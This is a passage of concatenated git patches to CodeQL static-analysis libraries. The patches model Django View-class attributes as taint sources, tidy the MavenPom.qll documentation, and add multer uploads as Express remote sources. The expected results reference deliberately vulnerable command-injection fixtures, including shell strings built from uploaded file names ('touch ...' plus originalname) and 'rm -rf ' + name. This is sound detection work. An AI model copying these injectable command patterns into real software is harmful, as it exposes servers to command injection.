test_taint | request | -| taint_test.py:16 | ok | test_taint | request.body | -| taint_test.py:17 | ok | test_taint | request.path | -| taint_test.py:18 | ok | test_taint | request.path_info | -| taint_test.py:22 | ok | test_taint | request.method | -| taint_test.py:24 | ok | test_taint | request.encoding | -| taint_test.py:25 | ok | test_taint | request.content_type | -| taint_test.py:28 | ok | test_taint | request.content_params | -| taint_test.py:29 | ok | test_taint | request.content_params["key"] | -| taint_test.py:30 | ok | test_taint | request.content_params.get(..) | -| taint_test.py:34 | ok | test_taint | request.GET | -| taint_test.py:35 | ok | test_taint | request.GET["key"] | -| taint_test.py:36 | ok | test_taint | request.GET.get(..) | -| taint_test.py:37 | fail | test_taint | request.GET.getlist(..) | -| taint_test.py:38 | fail | test_taint | request.GET.getlist(..)[0] | -| taint_test.py:39 | ok | test_taint | request.GET.pop(..) | -| taint_test.py:40 | ok | test_taint | request.GET.pop(..)[0] | -| taint_test.py:41 | ok | test_taint | request.GET.popitem()[0] | -| taint_test.py:42 | ok | test_taint | request.GET.popitem()[1] | -| taint_test.py:43 | ok | test_taint | request.GET.popitem()[1][0] | -| taint_test.py:44 | fail | test_taint | request.GET.dict() | -| taint_test.py:45 | fail | test_taint | request.GET.dict()["key"] | -| taint_test.py:46 | fail | test_taint | request.GET.urlencode() | -| taint_test.py:49 | ok | test_taint | request.POST | -| taint_test.py:52 | ok | test_taint | request.COOKIES | -| taint_test.py:53 | ok | test_taint | request.COOKIES["key"] | -| taint_test.py:54 | ok | test_taint | request.COOKIES.get(..) | -| taint_test.py:57 | ok | test_taint | request.FILES | -| taint_test.py:58 | ok | test_taint | request.FILES["key"] | -| taint_test.py:59 | fail | test_taint | request.FILES["key"].content_type | -| taint_test.py:60 | fail | test_taint | request.FILES["key"].content_type_extra | -| taint_test.py:61 | fail | test_taint | request.FILES["key"].content_type_extra["key"] | -| taint_test.py:62 | fail | test_taint | request.FILES["key"].charset | -| taint_test.py:63 | fail | test_taint | request.FILES["key"].name | -| taint_test.py:64 | fail | test_taint | request.FILES["key"].file | -| taint_test.py:65 | fail | test_taint | request.FILES["key"].file.read() | -| taint_test.py:67 | ok | test_taint | request.FILES.get(..) | -| taint_test.py:68 | fail | test_taint | request.FILES.get(..).name | -| taint_test.py:69 | fail | test_taint | request.FILES.getlist(..) | -| taint_test.py:70 | fail | test_taint | request.FILES.getlist(..)[0] | -| taint_test.py:71 | fail | test_taint | request.FILES.getlist(..)[0].name | -| taint_test.py:72 | fail | test_taint | request.FILES.dict() | -| taint_test.py:73 | fail | test_taint | request.FILES.dict()["key"] | -| taint_test.py:74 | fail | test_taint | request.FILES.dict()["key"].name | -| taint_test.py:77 | ok | test_taint | request.META | -| taint_test.py:78 | ok | test_taint | request.META["HTTP_USER_AGENT"] | -| taint_test.py:79 | ok | test_taint | request.META.get(..) | -| taint_test.py:82 | ok | test_taint | request.headers | -| taint_test.py:83 | ok | test_taint | request.headers["user-agent"] | -| taint_test.py:84 | ok | test_taint | request.headers["USER_AGENT"] | -| taint_test.py:87 | ok | test_taint | request.resolver_match | -| taint_test.py:88 | fail | test_taint | request.resolver_match.args | -| taint_test.py:89 | fail | test_taint | request.resolver_match.args[0] | -| taint_test.py:90 | fail | test_taint | request.resolver_match.kwargs | -| taint_test.py:91 | fail | test_taint | request.resolver_match.kwargs["key"] | -| taint_test.py:93 | fail | test_taint | request.get_full_path() | -| taint_test.py:94 | fail | test_taint | request.get_full_path_info() | -| taint_test.py:98 | fail | test_taint | request.read() | -| taint_test.py:99 | fail | test_taint | request.readline() | -| taint_test.py:100 | fail | test_taint | request.readlines() | -| taint_test.py:101 | fail | test_taint | request.readlines()[0] | -| taint_test.py:102 | fail | test_taint | ListComp | -| taint_test.py:108 | ok | test_taint | args | -| taint_test.py:109 | ok | test_taint | args[0] | -| taint_test.py:110 | ok | test_taint | kwargs | -| taint_test.py:111 | ok | test_taint | kwargs["key"] | -| taint_test.py:115 | ok | test_taint | request.current_app | -| taint_test.py:120 | ok | test_taint | request.get_host() | -| taint_test.py:121 | ok | test_taint | request.get_port() | -| taint_test.py:128 | fail | test_taint | request.build_absolute_uri() | -| taint_test.py:129 | fail | test_taint | request.build_absolute_uri(..) | +| taint_test.py:8 | ok | test_taint | bar | +| taint_test.py:8 | ok | test_taint | foo | +| taint_test.py:9 | ok | test_taint | baz | +| taint_test.py:15 | ok | test_taint | request | +| taint_test.py:17 | ok | test_taint | request.body | +| taint_test.py:18 | ok | test_taint | request.path | +| taint_test.py:19 | ok | test_taint | request.path_info | +| taint_test.py:23 | ok | test_taint | request.method | +| taint_test.py:25 | ok | test_taint | request.encoding | +| taint_test.py:26 | ok | test_taint | request.content_type | +| taint_test.py:29 | ok | test_taint | request.content_params | +| taint_test.py:30 | ok | test_taint | request.content_params["key"] | +| taint_test.py:31 | ok | test_taint | request.content_params.get(..) | +| taint_test.py:35 | ok | test_taint | request.GET | +| taint_test.py:36 | ok | test_taint | request.GET["key"] | +| taint_test.py:37 | ok | test_taint | request.GET.get(..) | +| taint_test.py:38 | fail | test_taint | request.GET.getlist(..) | +| taint_test.py:39 | fail | test_taint | request.GET.getlist(..)[0] | +| taint_test.py:40 | ok | test_taint | request.GET.pop(..) | +| taint_test.py:41 | ok | test_taint | request.GET.pop(..)[0] | +| taint_test.py:42 | ok | test_taint | request.GET.popitem()[0] | +| taint_test.py:43 | ok | test_taint | request.GET.popitem()[1] | +| taint_test.py:44 | ok | test_taint | request.GET.popitem()[1][0] | +| taint_test.py:45 | fail | test_taint | request.GET.dict() | +| taint_test.py:46 | fail | test_taint | request.GET.dict()["key"] | +| taint_test.py:47 | fail | test_taint | request.GET.urlencode() | +| taint_test.py:50 | ok | test_taint | request.POST | +| taint_test.py:53 | ok | test_taint | request.COOKIES | +| taint_test.py:54 | ok | test_taint | request.COOKIES["key"] | +| taint_test.py:55 | ok | test_taint | request.COOKIES.get(..) | +| taint_test.py:58 | ok | test_taint | request.FILES | +| taint_test.py:59 | ok | test_taint | request.FILES["key"] | +| taint_test.py:60 | fail | test_taint | request.FILES["key"].content_type | +| taint_test.py:61 | fail | test_taint | request.FILES["key"].content_type_extra | +| taint_test.py:62 | fail | test_taint | request.FILES["key"].content_type_extra["key"] | +| taint_test.py:63 | fail | test_taint | request.FILES["key"].charset | +| taint_test.py:64 | fail | test_taint | request.FILES["key"].name | +| taint_test.py:65 | fail | test_taint | request.FILES["key"].file | +| taint_test.py:66 | fail | test_taint | request.FILES["key"].file.read() | +| taint_test.py:68 | ok | test_taint | request.FILES.get(..) | +| taint_test.py:69 | fail | test_taint | request.FILES.get(..).name | +| taint_test.py:70 | fail | test_taint | request.FILES.getlist(..) | +| taint_test.py:71 | fail | test_taint | request.FILES.getlist(..)[0] | +| taint_test.py:72 | fail | test_taint | request.FILES.getlist(..)[0].name | +| taint_test.py:73 | fail | test_taint | request.FILES.dict() | +| taint_test.py:74 | fail | test_taint | request.FILES.dict()["key"] | +| taint_test.py:75 | fail | test_taint | request.FILES.dict()["key"].name | +| taint_test.py:78 | ok | test_taint | request.META | +| taint_test.py:79 | ok | test_taint | request.META["HTTP_USER_AGENT"] | +| taint_test.py:80 | ok | test_taint | request.META.get(..) | +| taint_test.py:83 | ok | test_taint | request.headers | +| taint_test.py:84 | ok | test_taint | request.headers["user-agent"] | +| taint_test.py:85 | ok | test_taint | request.headers["USER_AGENT"] | +| taint_test.py:88 | ok | test_taint | request.resolver_match | +| taint_test.py:89 | fail | test_taint | request.resolver_match.args | +| taint_test.py:90 | fail | test_taint | request.resolver_match.args[0] | +| taint_test.py:91 | fail | test_taint | request.resolver_match.kwargs | +| taint_test.py:92 | fail | test_taint | request.resolver_match.kwargs["key"] | +| taint_test.py:94 | fail | test_taint | request.get_full_path() | +| taint_test.py:95 | fail | test_taint | request.get_full_path_info() | +| taint_test.py:99 | fail | test_taint | request.read() | +| taint_test.py:100 | fail | test_taint | request.readline() | +| taint_test.py:101 | fail | test_taint | request.readlines() | +| taint_test.py:102 | fail | test_taint | request.readlines()[0] | +| taint_test.py:103 | fail | test_taint | ListComp | +| taint_test.py:109 | ok | test_taint | args | +| taint_test.py:110 | ok | test_taint | args[0] | +| taint_test.py:111 | ok | test_taint | kwargs | +| taint_test.py:112 | ok | test_taint | kwargs["key"] | +| taint_test.py:116 | ok | test_taint | request.current_app | +| taint_test.py:121 | ok | test_taint | request.get_host() | +| taint_test.py:122 | ok | test_taint | request.get_port() | +| taint_test.py:129 | fail | test_taint | request.build_absolute_uri() | | taint_test.py:130 | fail | test_taint | request.build_absolute_uri(..) | -| taint_test.py:133 | ok | test_taint | request.build_absolute_uri(..) | +| taint_test.py:131 | fail | test_taint | request.build_absolute_uri(..) | | taint_test.py:134 | ok | test_taint | request.build_absolute_uri(..) | -| taint_test.py:142 | ok | test_taint | request.get_signed_cookie(..) | +| taint_test.py:135 | ok | test_taint | request.build_absolute_uri(..) | | taint_test.py:143 | ok | test_taint | request.get_signed_cookie(..) | | taint_test.py:144 | ok | test_taint | request.get_signed_cookie(..) | -| taint_test.py:148 | fail | test_taint | request.get_signed_cookie(..) | +| taint_test.py:145 | ok | test_taint | request.get_signed_cookie(..) | | taint_test.py:149 | fail | test_taint | request.get_signed_cookie(..) | +| taint_test.py:150 | fail | test_taint | request.get_signed_cookie(..) | +| taint_test.py:157 | fail | some_method | self.request | +| taint_test.py:158 | fail | some_method | self.request.GET["key"] | +| taint_test.py:160 | fail | some_method | self.args | +| taint_test.py:161 | fail | some_method | self.args[0] | +| taint_test.py:163 | fail | some_method | self.kwargs | +| taint_test.py:164 | fail | some_method | self.kwargs["key"] | diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py index a0db86f2961..9c21e59e2e3 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py @@ -1,6 +1,7 @@ """testing views for Django 2.x and 3.x""" from django.urls import path from django.http import HttpRequest +from django.views import View def test_taint(request: HttpRequest, foo, bar, baz=None): # $requestHandler routedParameter=foo routedParameter=bar @@ -150,7 +151,22 @@ def test_taint(request: HttpRequest, foo, bar, baz=None): # $requestHandler rou ) +class ClassView(View): + def some_method(self): + ensure_tainted( + self.request, + self.request.GET["key"], + + self.args, + self.args[0], + + self.kwargs, + self.kwargs["key"], + ) + + # fake setup, you can't actually run this urlpatterns = [ - path("test-taint//", test_taint), # $routeSetup="test-taint//" + path("test-taint//", test_taint), # $ routeSetup="test-taint//" + path("ClassView/", ClassView.as_view()), # $ routeSetup="ClassView/" ] diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py index 55c60a551a0..d2028d0dd03 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py @@ -30,4 +30,5 @@ class MyCustomViewBaseClass(View): class MyViewHandlerWithCustomInheritance(MyCustomViewBaseClass): def get(self, request: HttpRequest): # $ requestHandler + print(self.request.GET) return HttpResponse("MyViewHandlerWithCustomInheritance: GET") # $ HttpResponse From c57a4df819f7c0450a060e1a627a0eeb71ee3223 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 10 Feb 2021 17:46:05 +0100 Subject: [PATCH 1147/1241] Python: Model taint of self.request on django view class --- .../2021-12-21-django-improvements.md | 1 + .../src/semmle/python/frameworks/Django.qll | 63 +++++++++++++++++++ .../django-v2-v3/TestTaint.expected | 12 ++-- 3 files changed, 70 insertions(+), 6 deletions(-) diff --git a/python/change-notes/2021-12-21-django-improvements.md b/python/change-notes/2021-12-21-django-improvements.md index e3a22961c73..fb2e7494983 100644 --- a/python/change-notes/2021-12-21-django-improvements.md +++ b/python/change-notes/2021-12-21-django-improvements.md @@ -1,3 +1,4 @@ lgtm,codescanning * Improved modeling of `django` to recognize request handlers functions that are decorated (for example with `django.views.decorators.http.require_GET`). This leads to more sources of remote user input (`RemoteFlowSource`), since we correctly identify the first parameter as being passed a django request. * Improved modeling of django View classes. We now consider any class using in a routing setup with `.as_view()` as django view class. This leads to more sources of remote user input (`RemoteFlowSource`), since we correctly identify the first parameter as being passed a django request. +* Improved modeling of `django`, so for View classes we now model `self.request`, `self.args`, and `self.kwargs` as sources of remote user input (`RemoteFlowSource`). diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 6599ccdc03a..fee806ff8ef 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -2069,6 +2069,29 @@ private module Django { result = this.getAMethod() and result.getName() = HTTP::httpVerbLower() } + + /** + * Gets a reference to instances of this class, originating from a self parameter of + * a method defined on this class. + * + * Note: TODO: This doesn't take MRO into account + * Note: TODO: This doesn't take staticmethod/classmethod into account + */ + private DataFlow::Node getASelfRef(DataFlow::TypeTracker t) { + t.start() and + result.(DataFlow::ParameterNode).getParameter() = this.getAMethod().getArg(0) + or + exists(DataFlow::TypeTracker t2 | result = this.getASelfRef(t2).track(t2, t)) + } + + /** + * Gets a reference to instances of this class, originating from a self parameter of + * a method defined on this class. + * + * Note: TODO: This doesn't take MRO into account + * Note: TODO: This doesn't take staticmethod/classmethod into account + */ + DataFlow::Node getASelfRef() { result = this.getASelfRef(DataFlow::TypeTracker::end()) } } /** @@ -2307,6 +2330,46 @@ private module Django { override string getSourceType() { result = "django.http.request.HttpRequest" } } + /** + * A read of the `request` attribute on a reference to an instance of a View class, + * which is the request being processed currently. + * + * See https://docs.djangoproject.com/en/3.1/topics/class-based-views/generic-display/#dynamic-filtering + */ + private class DjangoViewClassRequestAttributeRead extends django::http::request::HttpRequest::InstanceSource, + RemoteFlowSource::Range, DataFlow::Node { + DjangoViewClassRequestAttributeRead() { + exists(DataFlow::AttrRead read | this = read | + read.getObject() = any(DjangoViewClass vc).getASelfRef() and + read.getAttributeName() = "request" + ) + } + + override string getSourceType() { + result = "django.http.request.HttpRequest (attribute on self in View class)" + } + } + + /** + * A read of the `args` or `kwargs` attribute on a reference to an instance of a View class, + * which contains the routed parameters captured from the URL route. + * + * See https://docs.djangoproject.com/en/3.1/topics/class-based-views/generic-display/#dynamic-filtering + */ + private class DjangoViewClassRoutedParamsAttributeRead extends RemoteFlowSource::Range, + DataFlow::Node { + DjangoViewClassRoutedParamsAttributeRead() { + exists(DataFlow::AttrRead read | this = read | + read.getObject() = any(DjangoViewClass vc).getASelfRef() and + read.getAttributeName() in ["args", "kwargs"] + ) + } + + override string getSourceType() { + result = "django routed param from attribute on self in View class" + } + } + private class DjangoHttpRequstAdditionalTaintStep extends TaintTracking::AdditionalTaintStep { override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { nodeFrom = django::http::request::HttpRequest::instance() and diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected index d3cb5470b1b..c76685c6739 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected @@ -80,9 +80,9 @@ | taint_test.py:145 | ok | test_taint | request.get_signed_cookie(..) | | taint_test.py:149 | fail | test_taint | request.get_signed_cookie(..) | | taint_test.py:150 | fail | test_taint | request.get_signed_cookie(..) | -| taint_test.py:157 | fail | some_method | self.request | -| taint_test.py:158 | fail | some_method | self.request.GET["key"] | -| taint_test.py:160 | fail | some_method | self.args | -| taint_test.py:161 | fail | some_method | self.args[0] | -| taint_test.py:163 | fail | some_method | self.kwargs | -| taint_test.py:164 | fail | some_method | self.kwargs["key"] | +| taint_test.py:157 | ok | some_method | self.request | +| taint_test.py:158 | ok | some_method | self.request.GET["key"] | +| taint_test.py:160 | ok | some_method | self.args | +| taint_test.py:161 | ok | some_method | self.args[0] | +| taint_test.py:163 | ok | some_method | self.kwargs | +| taint_test.py:164 | ok | some_method | self.kwargs["key"] | From 2a1c11b517d31cf20550eacc68656d3c7c1b1631 Mon Sep 17 00:00:00 2001 From: Marcono1234 Date: Wed, 10 Feb 2021 23:56:45 +0100 Subject: [PATCH 1148/1241] Improve MavenPom documentation, rename inconsistent predicates --- java/ql/src/semmle/code/xml/MavenPom.qll | 96 +++++++++++++----------- 1 file changed, 54 insertions(+), 42 deletions(-) diff --git a/java/ql/src/semmle/code/xml/MavenPom.qll b/java/ql/src/semmle/code/xml/MavenPom.qll index 0a545c0bc99..30c1e673b23 100644 --- a/java/ql/src/semmle/code/xml/MavenPom.qll +++ b/java/ql/src/semmle/code/xml/MavenPom.qll @@ -28,7 +28,7 @@ class ProtoPom extends XMLElement { Version getVersion() { result = this.getAChild() } /** - * Gets a string representing the version, or an empty string if no version + * Gets a string representing the version, or an empty string if no `version` * tag was provided. */ string getVersionString() { @@ -53,7 +53,7 @@ class Pom extends ProtoPom { Pom() { this.getName() = "project" and // Ignore "dependency-reduced-pom" files - these are generated by the - // shading plugin, and duplicate existing pom files. + // Maven Shade Plugin, and duplicate existing POM files. this.getFile().getStem() != "dependency-reduced-pom" } @@ -77,7 +77,7 @@ class Pom extends ProtoPom { /** Gets a child XML element named "dependencies". */ Dependencies getDependencies() { result = this.getAChild() } - /** Gets a child XML element named `dependencyManagement`. */ + /** Gets a child XML element named "dependencyManagement". */ DependencyManagement getDependencyManagement() { result = getAChild() } /** Gets a Dependency element for this POM. */ @@ -100,7 +100,8 @@ class Pom extends ProtoPom { } /** - * Gets a property value defined for this project with the given name. + * Gets a property value defined for this project with the given name, either in a local + * `` section, or in the `` section of an ancestor POM. */ PomProperty getProperty(string name) { result.getName() = name and @@ -112,7 +113,7 @@ class Pom extends ProtoPom { */ PomElement getProjectProperty() { ( - // It must either be a child of the pom, or a child of the parent node of the pom + // It must either be a child of the POM, or a child of the parent node of the POM result = getAChild() or result = getParentPom().getAChild() and @@ -124,8 +125,8 @@ class Pom extends ProtoPom { } /** - * Resolve the given placeholder (if possible) in the static context of this pom. Resolution - * occurs by considering the properties defined by this project. + * Resolve the given placeholder (if possible) in the static context of this POM. Resolution + * occurs by considering the properties defined by this project or an ancestor project. */ string resolvePlaceholder(string name) { if name.prefix(8) = "project." @@ -142,32 +143,33 @@ class Pom extends ProtoPom { } /** - * Gets all the dependencies that are exported by this pom. An exported dependency is one that - * is transitively available, i.e. one with scope compile. + * Gets all the dependencies that are exported by this POM. An exported dependency is one that + * is transitively available, i.e. one with scope "compile". */ Dependency getAnExportedDependency() { result = getADependency() and result.getScope() = "compile" } /** - * Gets a pom dependency that is exported by this pom. An exported dependency is one that - * is transitively available, i.e. one with scope compile. + * Gets a POM dependency that is exported by this POM. An exported dependency is one that + * is transitively available, i.e. one with scope "compile". */ Pom getAnExportedPom() { result = getAnExportedDependency().getPom() } /** - * Gets the `` element of this pom, if any. + * Gets the `` element of this POM, if any. */ Parent getParentElement() { result = getAChild() } /** - * Gets the pom referred to by the `` element of this pom, if any. + * Gets the POM referred to by the `` element of this POM, if any. */ Pom getParentPom() { result = getParentElement().getPom() } /** - * Gets the version specified for dependency `dep` in a `dependencyManagement` - * section if this pom or one of its ancestors. + * Gets the version specified for dependency _dep_ in a `dependencyManagement` + * section in this POM or one of its ancestors, or an empty string if no version + * is specified. */ string getVersionStringForDependency(Dependency dep) { if exists(getDependencyManagement().getDependency(dep)) @@ -223,12 +225,13 @@ class Dependency extends ProtoPom { Pom getPom() { result.getShortCoordinate() = this.getShortCoordinate() } /** - * Gets the jar file that we think maven resolved this dependency to (if any). + * Gets the jar file that Maven likely resolved this dependency to (if any). + * See `MavenRepo.getAnArtifact(ProtoPom)` for how this match is determined. */ File getJar() { exists(MavenRepo mr | result = mr.getAnArtifact(this)) } /** - * Gets the scope of this dependency. If the scope tag is present, this will + * Gets the scope of this dependency. If the `scope` tag is present, this will * be the string contents of that tag, otherwise it defaults to "compile". */ string getScope() { @@ -249,14 +252,14 @@ class Dependency extends ProtoPom { } /** - * A Maven dependency element that represents an actual dependency from a given pom project. + * A Maven dependency element that represents an actual dependency from a given POM project. */ class PomDependency extends Dependency { PomDependency() { exists(Pom source | - // This dependency must be a dependency of a pom - dependency tags can also appear in the dependency - // management section, where they do not directly contribute to the dependencies of the containing - // pom. + // This dependency must be a dependency of a POM - dependency tags can also appear in the + // dependencyManagement section, where they do not directly contribute to the dependencies of + // the containing POM. source.getADependency() = this and // Consider dependencies that can be used at compile time. ( @@ -284,7 +287,7 @@ class PomElement extends XMLElement { s = allCharactersString() and if s.matches("${%") then - // Resolve the placeholder in the parent pom + // Resolve the placeholder in the parent POM result = getParent*().(Pom).resolvePlaceholder(s.substring(2, s.length() - 1)) else result = s ) @@ -330,7 +333,7 @@ class Dependencies extends PomElement { Dependency getADependency() { result = this.getAChild() } } -/** An XML element named `dependencyManagement`, as found in Maven POM XML files. */ +/** An XML element named "dependencyManagement", as found in Maven POM XML files. */ class DependencyManagement extends PomElement { DependencyManagement() { getName() = "dependencyManagement" } @@ -340,7 +343,7 @@ class DependencyManagement extends PomElement { /** * Gets a dependency declared in this `dependencyManagement` element that has - * the same (short) coordinates as `dep`. + * the same (short) coordinates as _dep_. */ Dependency getDependency(Dependency dep) { result = getADependency() and @@ -349,7 +352,7 @@ class DependencyManagement extends PomElement { } /** - * An XML element name "properties", as found in Maven POM XML files. + * An XML element named "properties", as found in Maven POM XML files. */ class PomProperties extends PomElement { PomProperties() { this.getName() = "properties" } @@ -366,8 +369,8 @@ class PomProperty extends PomElement { } /** - * A folder that represents a maven local repository using the standard layout. Any folder called - * "repository" with a parent name ".m2" is considered to be a maven repository. + * A folder that represents a local Maven repository using the standard layout. Any folder called + * "repository" with a parent name ".m2" is considered to be a Maven repository. */ class MavenRepo extends Folder { MavenRepo() { getBaseName() = "repository" and getParentContainer().getBaseName() = ".m2" } @@ -378,10 +381,10 @@ class MavenRepo extends Folder { File getAJarFile() { result = getAChildContainer*().(File) and result.getExtension() = "jar" } /** - * Gets any jar artifacts in this repository that match the pom project definition. This is an - * over approximation. For soft qualifiers (e.g. 1.0) we return precise matches in preference to - * artefact only matches. For hard qualifiers (e.g. [1.0]) we return only precise matches. For - * all other qualifiers, we return all matches regardless of version. + * Gets any jar artifacts in this repository that match the POM project definition. This is an + * over approximation. For soft qualifiers (e.g. 1.0) precise matches are returned in preference + * to artifact only matches. For hard qualifiers (e.g. [1.0]) only precise matches are returned. + * For all other qualifiers, all matches are returned regardless of version. */ MavenRepoJar getAnArtifact(ProtoPom pom) { result = getAJarFile() and @@ -389,7 +392,7 @@ class MavenRepo extends Folder { then // Either a hard match qualifier, or soft and there is at least one precise match result.preciseMatch(pom) - else result.artefactMatches(pom) + else result.artifactMatches(pom) } } @@ -401,16 +404,19 @@ private predicate versionHardMatch(ProtoPom pom) { } /** - * A jar file inside a maven repository. + * A jar file inside a Maven repository. * * See: https://cwiki.apache.org/confluence/display/MAVENOLD/Repository+Layout+-+Final */ class MavenRepoJar extends File { MavenRepoJar() { exists(MavenRepo mr | mr.getAJarFile() = this) } - string getGroupID() { + /** + * Gets the `groupId` of this jar. + */ + string getGroupId() { exists(MavenRepo mr | mr.getAJarFile() = this | - // Assuming the standard layout, the first part of the directory structure from the maven + // Assuming the standard layout, the first part of the directory structure from the Maven // repository will be the groupId converted to a path by replacing "." with "/". result = getParentContainer() @@ -422,24 +428,30 @@ class MavenRepoJar extends File { ) } - string getArtefactID() { result = getParentContainer().getParentContainer().getBaseName() } + /** + * Gets the `artifactId` of this jar. + */ + string getArtifactId() { result = getParentContainer().getParentContainer().getBaseName() } + /** + * Gets the artifact version string of this jar. + */ string getVersion() { result = getParentContainer().getBaseName() } /** - * Holds if this jar is an artefact for the given pom or dependency, regardless of which version it is. + * Holds if this jar is an artifact for the given POM or dependency, regardless of which version it is. */ - predicate artefactMatches(ProtoPom pom) { - pom.getGroup().getValue() = getGroupID() and - pom.getArtifact().getValue() = getArtefactID() + predicate artifactMatches(ProtoPom pom) { + pom.getGroup().getValue() = getGroupId() and + pom.getArtifact().getValue() = getArtifactId() } /** - * Holds if this jar is both an artefact for the pom, and has a version string that matches the pom + * Holds if this jar is both an artifact for the POM, and has a version string that matches the POM * version string. Only soft and hard version matches are supported. */ predicate preciseMatch(ProtoPom pom) { - artefactMatches(pom) and + artifactMatches(pom) and if versionHardMatch(pom) then ("[" + getVersion() + "]").matches(pom.getVersionString() + "%") else getVersion().matches(pom.getVersionString() + "%") From e2fbf8a68ca9a301bb166412d9e780d3ecc73c6c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 20:38:05 +0100 Subject: [PATCH 1149/1241] add files uploaded with `multer` as RemoteFlowSource --- .../semmle/javascript/frameworks/Express.qll | 3 ++- .../CWE-078/CommandInjection.expected | 24 +++++++++++++++++++ .../Security/CWE-078/form-parsers.js | 16 +++++++++++++ 3 files changed, 42 insertions(+), 1 deletion(-) create mode 100644 javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js diff --git a/javascript/ql/src/semmle/javascript/frameworks/Express.qll b/javascript/ql/src/semmle/javascript/frameworks/Express.qll index e1519892caf..3931f96cbb6 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Express.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Express.qll @@ -509,8 +509,9 @@ module Express { this = request.getAPropertyRead("cookies") or // `req.files`, treated the same as `req.body`. + // `express-fileupload` uses .files, and `multer` uses .files or .file kind = "body" and - this = request.getAPropertyRead("files") + this = request.getAPropertyRead(["files", "file"]) ) or kind = "body" and diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index 5d9c4fcdb61..ec874655c74 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -88,6 +88,18 @@ nodes | execSeries.js:18:34:18:40 | req.url | | execSeries.js:19:12:19:16 | [cmd] | | execSeries.js:19:13:19:15 | cmd | +| form-parsers.js:9:8:9:39 | "touch ... nalname | +| form-parsers.js:9:8:9:39 | "touch ... nalname | +| form-parsers.js:9:19:9:26 | req.file | +| form-parsers.js:9:19:9:26 | req.file | +| form-parsers.js:9:19:9:39 | req.fil ... nalname | +| form-parsers.js:13:3:13:11 | req.files | +| form-parsers.js:13:3:13:11 | req.files | +| form-parsers.js:13:21:13:24 | file | +| form-parsers.js:14:10:14:37 | "touch ... nalname | +| form-parsers.js:14:10:14:37 | "touch ... nalname | +| form-parsers.js:14:21:14:24 | file | +| form-parsers.js:14:21:14:37 | file.originalname | | lib/subLib/index.js:7:32:7:35 | name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -222,6 +234,16 @@ edges | execSeries.js:18:34:18:40 | req.url | execSeries.js:18:13:18:47 | require ... , true) | | execSeries.js:19:12:19:16 | [cmd] | execSeries.js:13:19:13:26 | commands | | execSeries.js:19:13:19:15 | cmd | execSeries.js:19:12:19:16 | [cmd] | +| form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:19:9:39 | req.fil ... nalname | +| form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:19:9:39 | req.fil ... nalname | +| form-parsers.js:9:19:9:39 | req.fil ... nalname | form-parsers.js:9:8:9:39 | "touch ... nalname | +| form-parsers.js:9:19:9:39 | req.fil ... nalname | form-parsers.js:9:8:9:39 | "touch ... nalname | +| form-parsers.js:13:3:13:11 | req.files | form-parsers.js:13:21:13:24 | file | +| form-parsers.js:13:3:13:11 | req.files | form-parsers.js:13:21:13:24 | file | +| form-parsers.js:13:21:13:24 | file | form-parsers.js:14:21:14:24 | file | +| form-parsers.js:14:21:14:24 | file | form-parsers.js:14:21:14:37 | file.originalname | +| form-parsers.js:14:21:14:37 | file.originalname | form-parsers.js:14:10:14:37 | "touch ... nalname | +| form-parsers.js:14:21:14:37 | file.originalname | form-parsers.js:14:10:14:37 | "touch ... nalname | | lib/subLib/index.js:7:32:7:35 | name | lib/subLib/index.js:8:22:8:25 | name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -293,6 +315,8 @@ edges | exec-sh2.js:10:12:10:57 | cp.spaw ... ptions) | exec-sh2.js:14:25:14:31 | req.url | exec-sh2.js:10:40:10:46 | command | This command depends on $@. | exec-sh2.js:14:25:14:31 | req.url | a user-provided value | | exec-sh.js:15:12:15:61 | cp.spaw ... ptions) | exec-sh.js:19:25:19:31 | req.url | exec-sh.js:15:44:15:50 | command | This command depends on $@. | exec-sh.js:19:25:19:31 | req.url | a user-provided value | | execSeries.js:14:41:14:47 | command | execSeries.js:18:34:18:40 | req.url | execSeries.js:14:41:14:47 | command | This command depends on $@. | execSeries.js:18:34:18:40 | req.url | a user-provided value | +| form-parsers.js:9:8:9:39 | "touch ... nalname | form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:8:9:39 | "touch ... nalname | This command depends on $@. | form-parsers.js:9:19:9:26 | req.file | a user-provided value | +| form-parsers.js:14:10:14:37 | "touch ... nalname | form-parsers.js:13:3:13:11 | req.files | form-parsers.js:14:10:14:37 | "touch ... nalname | This command depends on $@. | form-parsers.js:13:3:13:11 | req.files | a user-provided value | | 